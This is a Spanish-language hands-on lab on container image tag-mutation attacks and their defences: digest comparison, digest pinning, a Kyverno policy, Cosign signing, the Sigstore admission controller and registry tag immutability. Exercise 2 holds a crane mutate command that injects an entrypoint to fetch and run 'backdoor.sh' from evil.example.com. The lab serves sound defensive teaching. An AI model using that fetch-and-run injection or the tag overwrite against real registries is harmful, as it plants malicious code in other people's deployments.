Descripción general
Los tags de container images son punteros mutables. A diferencia de un hash de commit de Git, el tag v1.0.0 no está vinculado criptográficamente a una imagen específica — es simplemente una etiqueta que un registry asocia a un digest de manifiesto. Cualquier persona con acceso de push a un repositorio puede sobrescribir esa asociación en cualquier momento, reemplazando silenciosamente la imagen detrás de un tag de confianza.
Esto no es un riesgo teórico. Los ataques a la cadena de suministro explotan rutinariamente la mutabilidad de los tags para inyectar código malicioso en entornos de producción. Si los manifiestos de tu despliegue referencian myapp:v1.0.0 por tag, un atacante que comprometa las credenciales del registry puede intercambiar la imagen, y cada pull posterior obtendrá la carga maliciosa del atacante en lugar de tu build legítima.
En este laboratorio:
- Configurarás un registry OCI local y harás push de una container image legítima.
- Realizarás un ataque de mutación de tag — hacer push de una imagen completamente diferente bajo el mismo tag.
- Realizarás un ataque de inyección de capas — mutar sutilmente una imagen existente sin reconstruirla.
- Detectarás la manipulación con comparación de digests.
- Te defenderás contra la manipulación con digest pinning, firmas Cosign, admission controllers y configuraciones de inmutabilidad del registry.
Al finalizar, tendrás experiencia práctica con el ciclo completo de ataque y defensa para la integridad de container images.
Requisitos previos
Instala las siguientes herramientas antes de comenzar. Todos los comandos en este laboratorio están probados en Linux y macOS.
| Herramienta | Propósito | Instalación |
|---|---|---|
| Docker | Construir y ejecutar contenedores | docs.docker.com/get-docker |
| crane | Inspeccionar y mutar imágenes OCI sin Docker | go install github.com/google/go-containerregistry/cmd/crane@latest |
| Cosign | Firmar y verificar container images | docs.sigstore.dev/cosign |
| kubectl + kind | Clúster local de Kubernetes (para ejercicios de admission control) | kind.sigs.k8s.io |
| jq | Procesamiento de JSON | apt install jq / brew install jq |
Verifica tu configuración:
docker --version
crane version
cosign version
kubectl version --client
kind version
jq --version
Configuración del entorno
Iniciar un Registry local
Usamos la imagen oficial del registry de Docker. Esto nos da un registry privado y sin autenticación — perfecto para demostrar lo fácil que es la mutación de tags cuando existe acceso de push.
docker run -d -p 5000:5000 --name registry registry:2
Confirma que el registry está en ejecución:
curl -s http://localhost:5000/v2/_catalog
# Expected: {"repositories":[]}
Construir y hacer Push de una imagen legítima
Crea una aplicación mínima basada en Nginx que sirva una página simple:
mkdir -p /tmp/lab-legitimate && cd /tmp/lab-legitimate
cat > index.html <<'EOF'
Legitimate App
Hello from the LEGITIMATE image
EOF
cat > Dockerfile <<'EOF'
FROM nginx:1.27-alpine
COPY index.html /usr/share/nginx/html/index.html
EOF
docker build -t localhost:5000/myapp:v1.0.0 .
docker push localhost:5000/myapp:v1.0.0
Registrar el digest original
Este digest es tu fuente de verdad. Guárdalo — lo usarás a lo largo del laboratorio para detectar y prevenir manipulaciones.
ORIGINAL_DIGEST=$(crane digest localhost:5000/myapp:v1.0.0)
echo "Original digest: $ORIGINAL_DIGEST"
# Example output: sha256:a1b2c3d4e5f6...
También guarda el manifiesto completo para comparaciones posteriores:
crane manifest localhost:5000/myapp:v1.0.0 | jq . > /tmp/original-manifest.json
Ejercicio 1: El ataque — Mutación de tag
La mutación de tag es la forma más simple de manipulación de container images. El atacante construye una imagen completamente diferente y hace push bajo el mismo tag, sobrescribiendo la imagen legítima en el registry.
Paso 1: Construir una imagen maliciosa
Crea una imagen que se vea similar pero sirva contenido diferente — o en un ataque real, ejecute un reverse shell, exfiltre secretos o mine criptomonedas:
mkdir -p /tmp/lab-malicious && cd /tmp/lab-malicious
cat > index.html <<'EOF'
Legitimate App
Hello from the LEGITIMATE image
EOF
cat > Dockerfile <<'EOF'
FROM nginx:1.27-alpine
COPY index.html /usr/share/nginx/html/index.html
# In a real attack, additional malicious layers would be added here
EOF
docker build -t localhost:5000/myapp:v1.0.0 .
docker push localhost:5000/myapp:v1.0.0
Nota el detalle crítico: hicimos push al exactamente el mismo tag — localhost:5000/myapp:v1.0.0.
Paso 2: Verificar que el tag fue sobrescrito
TAMPERED_DIGEST=$(crane digest localhost:5000/myapp:v1.0.0)
echo "Original digest: $ORIGINAL_DIGEST"
echo "Current digest: $TAMPERED_DIGEST"
if [ "$ORIGINAL_DIGEST" != "$TAMPERED_DIGEST" ]; then
echo "WARNING: Tag v1.0.0 has been MUTATED — the image has changed!"
fi
Salida:
Original digest: sha256:a1b2c3d4...
Current digest: sha256:x9y8z7w6...
WARNING: Tag v1.0.0 has been MUTATED — the image has changed!
Cualquier persona que haga pull de myapp:v1.0.0 ahora recibe la imagen del atacante. No hay advertencia, no hay notificación y no hay registro de auditoría en un registry básico. El tag simplemente apunta a un nuevo manifiesto.
Por qué esto es peligroso
Este ataque es trivial de ejecutar para cualquier persona con credenciales de push al registry — una cuenta de servicio de CI comprometida, un token filtrado en un repositorio público o un miembro del equipo descontento. El tag de la imagen se ve igual, el nombre del repositorio se ve igual, y la mayoría de los pipelines de despliegue hacen pull ciegamente de lo que apunte el tag.
Ejercicio 2: El ataque — Inyección de capas
Un intercambio completo de imagen es efectivo pero burdo. Un atacante más sofisticado puede modificar una imagen existente en el lugar, agregando o alterando capas sin reconstruir desde un Dockerfile. Esto hace que la manipulación sea más difícil de detectar mediante una inspección casual.
Paso 1: Restablecer a la imagen legítima
Primero, reconstruye y haz push de la imagen legítima para tener una línea base limpia:
cd /tmp/lab-legitimate
docker build -t localhost:5000/myapp:v1.0.0 .
docker push localhost:5000/myapp:v1.0.0
ORIGINAL_DIGEST=$(crane digest localhost:5000/myapp:v1.0.0)
echo "Reset to original digest: $ORIGINAL_DIGEST"
Paso 2: Mutar la imagen con crane
El comando crane mutate modifica los metadatos y la configuración de la imagen sin requerir una reconstrucción completa. Un atacante puede cambiar el entrypoint, agregar variables de entorno o inyectar comandos:
# Change the entrypoint to run a malicious command before the original process
crane mutate localhost:5000/myapp:v1.0.0 \
--entrypoint "/bin/sh,-c,wget -q https://evil.example.com/backdoor.sh -O /tmp/b.sh && sh /tmp/b.sh; nginx -g 'daemon off;'" \
--tag localhost:5000/myapp:v1.0.0
Este único comando sobrescribe el tag con una imagen modificada que ejecutará una descarga maliciosa antes de iniciar Nginx — todo sin escribir un Dockerfile ni construir desde cero.
Paso 3: Comparar manifiestos
crane manifest localhost:5000/myapp:v1.0.0 | jq . > /tmp/tampered-manifest.json
diff /tmp/original-manifest.json /tmp/tampered-manifest.json
El diff mostrará que el digest de configuración ha cambiado (porque la configuración de la imagen — incluyendo el entrypoint — es diferente), pero las capas base pueden permanecer idénticas. Para un operador que inspeccione casualmente la imagen, se ve casi igual:
# Inspect the tampered image's config
crane config localhost:5000/myapp:v1.0.0 | jq '.config.Entrypoint'
# Shows the injected malicious entrypoint
# Compare with the original
docker inspect localhost:5000/myapp@$ORIGINAL_DIGEST | jq '.[0].Config.Entrypoint'
# Shows the original, clean entrypoint
Esta técnica es particularmente peligrosa en entornos donde los equipos solo verifican el tag de la imagen o el manifiesto de nivel superior sin inspeccionar la configuración completa.
Ejercicio 3: Detección — Comparación de digests
El mecanismo de detección más fundamental es la comparación de digests. Dado que cada imagen única tiene un digest SHA-256 único, cualquier cambio — por pequeño que sea — produce un hash completamente diferente.
Paso 1: Script de verificación manual
Crea un script que verifique si un tag de imagen todavía apunta al digest esperado:
cat > /tmp/verify-digest.sh <<'SCRIPT'
#!/bin/bash
set -euo pipefail
IMAGE="$1"
EXPECTED_DIGEST="$2"
CURRENT_DIGEST=$(crane digest "$IMAGE" 2>/dev/null)
if [ "$CURRENT_DIGEST" = "$EXPECTED_DIGEST" ]; then
echo "PASS: $IMAGE matches expected digest"
echo " Digest: $CURRENT_DIGEST"
exit 0
else
echo "FAIL: $IMAGE has been TAMPERED WITH"
echo " Expected: $EXPECTED_DIGEST"
echo " Actual: $CURRENT_DIGEST"
exit 1
fi
SCRIPT
chmod +x /tmp/verify-digest.sh
Ejecútalo:
# This will FAIL because the image was tampered in Exercise 2
/tmp/verify-digest.sh localhost:5000/myapp:v1.0.0 "$ORIGINAL_DIGEST"
# Output: FAIL: localhost:5000/myapp:v1.0.0 has been TAMPERED WITH
Paso 2: Integración en el pipeline de CI — GitHub Actions
Integra la verificación de digests en tu pipeline de CI/CD para que las imágenes manipuladas sean detectadas antes del despliegue:
name: Verify Image Integrity
on:
workflow_dispatch:
push:
branches: [main]
env:
REGISTRY: ghcr.io
IMAGE_NAME: ${{ github.repository }}/myapp
jobs:
verify-image:
runs-on: ubuntu-latest
steps:
- name: Install crane
uses: imjasonh/setup-crane@v0.4
- name: Log in to registry
uses: docker/login-action@v3
with:
registry: ${{ env.REGISTRY }}
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}
- name: Verify image digest
env:
EXPECTED_DIGEST: ${{ vars.MYAPP_V1_DIGEST }}
run: |
IMAGE="${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:v1.0.0"
CURRENT_DIGEST=$(crane digest "$IMAGE")
echo "Expected: $EXPECTED_DIGEST"
echo "Actual: $CURRENT_DIGEST"
if [ "$CURRENT_DIGEST" != "$EXPECTED_DIGEST" ]; then
echo "::error::Image digest mismatch — possible tampering detected!"
exit 1
fi
echo "Image integrity verified."
- name: Verify all deployment images
run: |
# Parse digests from a tracked manifest file
while IFS='=' read -r image digest; do
CURRENT=$(crane digest "$image")
if [ "$CURRENT" != "$digest" ]; then
echo "::error::TAMPERED: $image (expected $digest, got $CURRENT)"
FAILED=1
else
echo "OK: $image"
fi
done < ./deploy/image-digests.txt
[ -z "${FAILED:-}" ] || exit 1
Almacena tus digests esperados en un archivo con control de versiones (deploy/image-digests.txt) para que cualquier cambio en los digests esperados pase por revisión de código:
# deploy/image-digests.txt
ghcr.io/myorg/myapp:v1.0.0=sha256:a1b2c3d4e5f6...
ghcr.io/myorg/myapp:v2.0.0=sha256:f6e5d4c3b2a1...
Ejercicio 4: Defensa — Digest Pinning
El digest pinning es la defensa más simple y efectiva contra la mutación de tags. En lugar de referenciar una imagen por su tag mutable, la referencias por su digest inmutable.
Paso 1: Fijar la imagen en un manifiesto de Kubernetes
Reemplaza las referencias basadas en tags con referencias basadas en digests:
# VULNERABLE: uses a mutable tag
# image: localhost:5000/myapp:v1.0.0
# SECURE: pinned to an immutable digest
apiVersion: apps/v1
kind: Deployment
metadata:
name: myapp
spec:
replicas: 1
selector:
matchLabels:
app: myapp
template:
metadata:
labels:
app: myapp
spec:
containers:
- name: myapp
image: localhost:5000/myapp@sha256:a1b2c3d4e5f6...
ports:
- containerPort: 80
Con digest pinning, incluso si un atacante muta el tag v1.0.0, tu despliegue seguirá haciendo pull de la imagen exacta identificada por el digest fijado. El registry resuelve las imágenes por digest independientemente de los tags.
Paso 2: Probarlo
# Reset to clean image
cd /tmp/lab-legitimate
docker build -t localhost:5000/myapp:v1.0.0 .
docker push localhost:5000/myapp:v1.0.0
ORIGINAL_DIGEST=$(crane digest localhost:5000/myapp:v1.0.0)
# Tamper with the tag
cd /tmp/lab-malicious
docker build -t localhost:5000/myapp:v1.0.0 .
docker push localhost:5000/myapp:v1.0.0
# Pull by tag — gets the TAMPERED image
docker pull localhost:5000/myapp:v1.0.0
# Pull by digest — gets the ORIGINAL image
docker pull localhost:5000/myapp@$ORIGINAL_DIGEST
# Verify
docker run --rm localhost:5000/myapp@$ORIGINAL_DIGEST cat /usr/share/nginx/html/index.html
# Output: Hello from the LEGITIMATE image
Paso 3: Forzar el digest pinning con Kyverno
Para asegurar que ningún miembro del equipo despliegue accidentalmente una referencia basada en tags, usa una política de Kyverno que rechace cualquier especificación de pod que no use un digest:
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: require-image-digest
annotations:
policies.kyverno.io/title: Require Image Digest
policies.kyverno.io/description: >-
Requires all container images to be referenced by digest
rather than by tag, preventing tag-mutation attacks.
spec:
validationFailureAction: Enforce
background: true
rules:
- name: check-image-digest
match:
any:
- resources:
kinds:
- Pod
validate:
message: "Images must be referenced by digest (image@sha256:...), not by tag."
pattern:
spec:
containers:
- image: "*@sha256:*"
- name: check-init-container-digest
match:
any:
- resources:
kinds:
- Pod
preconditions:
all:
- key: "{{ request.object.spec.initContainers[] || `[]` | length(@) }}"
operator: GreaterThanOrEquals
value: 1
validate:
message: "Init container images must be referenced by digest."
pattern:
spec:
initContainers:
- image: "*@sha256:*"
Aplica la política y prueba:
kubectl apply -f require-image-digest.yaml
# This will be REJECTED (uses a tag)
kubectl run test --image=localhost:5000/myapp:v1.0.0
# Error: Images must be referenced by digest (image@sha256:...), not by tag.
# This will be ADMITTED (uses a digest)
kubectl run test --image=localhost:5000/myapp@sha256:a1b2c3d4e5f6...
Ejercicio 5: Defensa — Verificación de firmas con Cosign
El digest pinning te dice qué imagen confiar, pero no demuestra quién la construyó. Las firmas de Cosign vinculan una identidad criptográfica a un digest de imagen, permitiéndote verificar la procedencia.
Paso 1: Generar un par de claves de firma
cosign generate-key-pair
# Creates cosign.key (private) and cosign.pub (public)
Paso 2: Firmar la imagen legítima
Siempre firma por digest, nunca por tag:
# Reset to clean image
cd /tmp/lab-legitimate
docker build -t localhost:5000/myapp:v1.0.0 .
docker push localhost:5000/myapp:v1.0.0
ORIGINAL_DIGEST=$(crane digest localhost:5000/myapp:v1.0.0)
# Sign by digest
cosign sign --key cosign.key --tlog-upload=false \
localhost:5000/myapp@${ORIGINAL_DIGEST}
# Verify the signature
cosign verify --key cosign.pub --insecure-ignore-tlog=true \
localhost:5000/myapp@${ORIGINAL_DIGEST}
# Output: Verification for localhost:5000/myapp@sha256:... --
# The following checks were performed:
# - The cosign claims were validated
# - The signatures were verified against the specified public key
Paso 3: Manipular el tag y verificar
# Push the malicious image under the same tag
cd /tmp/lab-malicious
docker build -t localhost:5000/myapp:v1.0.0 .
docker push localhost:5000/myapp:v1.0.0
# Try to verify the tag — this will FAIL
cosign verify --key cosign.pub --insecure-ignore-tlog=true \
localhost:5000/myapp:v1.0.0
# Error: no matching signatures
# Verify the original digest — this still PASSES
cosign verify --key cosign.pub --insecure-ignore-tlog=true \
localhost:5000/myapp@${ORIGINAL_DIGEST}
# Output: Verified OK
Esto demuestra la propiedad clave: las firmas de Cosign están vinculadas a digests, no a tags. Cuando un atacante muta un tag, la firma no lo sigue — permanece asociada al digest original. La verificación contra el tag falla porque el tag ahora apunta a una imagen sin firmar.
Por qué esto importa
Las firmas proporcionan una cadena de confianza del constructor al desplegador. Incluso si un atacante obtiene acceso de push a tu registry, no puede falsificar una firma válida sin tu clave privada de firma. Combinadas con el digest pinning, las firmas te dan tanto integridad (la imagen no ha sido modificada) como autenticidad (la imagen fue construida por una parte de confianza).
Ejercicio 6: Defensa — Aplicación con Admission Controller
El digest pinning y las firmas solo son efectivos si se aplican de manera consistente. Un admission controller automatiza esta aplicación a nivel de la API de Kubernetes, rechazando cualquier carga de trabajo que referencie una imagen sin firmar o no verificada.
Paso 1: Crear un clúster Kind
kind create cluster --name sigstore-lab
# Configure the cluster to access the local registry
docker network connect kind registry
kubectl cluster-info --context kind-sigstore-lab
Paso 2: Instalar el Sigstore Policy Controller
helm repo add sigstore https://sigstore.github.io/helm-charts
helm repo update
helm install policy-controller sigstore/policy-controller \
--namespace cosign-system \
--create-namespace \
--set webhook.configMapName=policy-controller-config
Espera a que el controller esté listo:
kubectl -n cosign-system rollout status deploy/policy-controller-webhook
Paso 3: Crear una política de verificación
# Create a secret with the Cosign public key
kubectl create secret generic cosign-pub-key \
--from-file=cosign.pub=cosign.pub \
-n cosign-system
# Label the namespace to enable enforcement
kubectl label namespace default \
policy.sigstore.dev/include=true
Crea una ClusterImagePolicy que requiera una firma válida de Cosign para todas las imágenes de tu registry:
apiVersion: policy.sigstore.dev/v1beta1
kind: ClusterImagePolicy
metadata:
name: require-signature
spec:
images:
- glob: "localhost:5000/**"
authorities:
- key:
secretRef:
name: cosign-pub-key
namespace: cosign-system
hashAlgorithm: sha256
kubectl apply -f cluster-image-policy.yaml
Paso 4: Probar la aplicación
# Deploy with the SIGNED image (by digest) — ADMITTED
kubectl run signed-app \
--image=localhost:5000/myapp@${ORIGINAL_DIGEST}
# pod/signed-app created
# Deploy with the TAMPERED image (unsigned) — REJECTED
TAMPERED_DIGEST=$(crane digest localhost:5000/myapp:v1.0.0)
kubectl run tampered-app \
--image=localhost:5000/myapp@${TAMPERED_DIGEST}
# Error from server (BadRequest): admission webhook "policy.sigstore.dev" denied the request:
# validation failed: failed policy: require-signature:
# spec.containers[0].image signature verification failed
El admission controller bloquea automáticamente cualquier imagen que no tenga una firma válida de tu clave de confianza. Esto cierra el ciclo — incluso si un atacante hace push de una imagen manipulada, no puede ejecutarse en tu clúster.
Ejercicio 7: Inmutabilidad del Registry
Los ataques en los Ejercicios 1 y 2 solo son posibles porque el registry permite la sobrescritura de tags. Muchos registries gestionados soportan inmutabilidad de tags, lo que previene cualquier push a un tag existente.
AWS ECR: Habilitar la inmutabilidad de tags
# Enable immutable tags on an existing repository
aws ecr put-image-tag-mutability \
--repository-name myapp \
--image-tag-mutability IMMUTABLE
# Verify the setting
aws ecr describe-repositories --repository-names myapp \
| jq '.repositories[0].imageTagMutability'
# Output: "IMMUTABLE"
Con la inmutabilidad habilitada, cualquier intento de hacer push a un tag existente es rechazado:
docker push 123456789.dkr.ecr.us-east-1.amazonaws.com/myapp:v1.0.0
# Error: tag invalid: The image tag 'v1.0.0' already exists in the 'myapp' repository
# and cannot be overwritten because the repository is immutable.
Google Artifact Registry: Habilitar la inmutabilidad de tags
gcloud artifacts repositories update myapp-repo \
--location=us-central1 \
--immutable-tags
Azure ACR: Habilitar el bloqueo de tags
az acr repository update \
--name myregistry \
--image myapp:v1.0.0 \
--write-enabled false
Docker Hub y GHCR
Docker Hub y GitHub Container Registry actualmente no soportan inmutabilidad de tags a nivel de registry. Para estos registries, confía en las firmas de Cosign y los admission controllers como tu defensa principal.
Consideraciones
La inmutabilidad de tags previene la sobrescritura pero también previene escenarios legítimos de re-etiquetado (como promover una imagen de staging a production mediante re-etiquetado). Planifica tu estrategia de etiquetado en consecuencia — usa tags únicos (como tags basados en Git SHA) y flujos de promoción que creen nuevos tags en lugar de sobrescribir los existentes.
Limpieza
Elimina todos los recursos creados durante este laboratorio:
# Stop and remove the local registry
docker stop registry && docker rm registry
# Remove the kind cluster (if created)
kind delete cluster --name sigstore-lab
# Clean up temporary files
rm -rf /tmp/lab-legitimate /tmp/lab-malicious
rm -f /tmp/original-manifest.json /tmp/tampered-manifest.json
rm -f /tmp/verify-digest.sh
rm -f cosign.key cosign.pub
# Remove locally cached images
docker rmi localhost:5000/myapp:v1.0.0 2>/dev/null || true
Conclusiones clave
- Los tags de container images son mutables. Cualquier persona con acceso de push puede reemplazar silenciosamente la imagen detrás de un tag. Nunca confíes en un tag como garantía del contenido de la imagen.
- El digest pinning es tu primera línea de defensa. Referenciar imágenes por
@sha256:...en lugar de:tagasegura que siempre hagas pull de la imagen exacta que deseas, independientemente de las mutaciones de tags. - Las firmas de Cosign demuestran la procedencia. Las firmas vinculan una identidad criptográfica a un digest específico, verificando tanto la integridad (no manipulada) como la autenticidad (construida por una parte de confianza).
- Los admission controllers aplican políticas en el momento del despliegue. Herramientas como Kyverno y Sigstore policy-controller rechazan imágenes sin firmar o no verificadas antes de que puedan ejecutarse en tu clúster.
- La inmutabilidad del registry previene el ataque en su origen. Habilitar tags inmutables en ECR, GCR o ACR detiene la sobrescritura de tags por completo, pero requiere una estrategia de etiquetado que evite la reutilización.
- La defensa en profundidad es esencial. Ningún mecanismo individual es suficiente. Combina digest pinning, firma, admission control e inmutabilidad del registry para una protección robusta contra ataques a la cadena de suministro en container images.
Próximos pasos
Continúa desarrollando tus habilidades de seguridad de contenedores con estas guías relacionadas:
- Firma y verificación de Container Images con Sigstore y Cosign — Una inmersión profunda en la firma sin claves con Fulcio, registros de transparencia con Rekor y patrones de integración CI/CD para flujos de trabajo de firma automatizada.
- Patrones defensivos y mitigaciones — Estrategias integrales para asegurar todo tu pipeline de CI/CD, desde el control de código fuente hasta el despliegue en producción.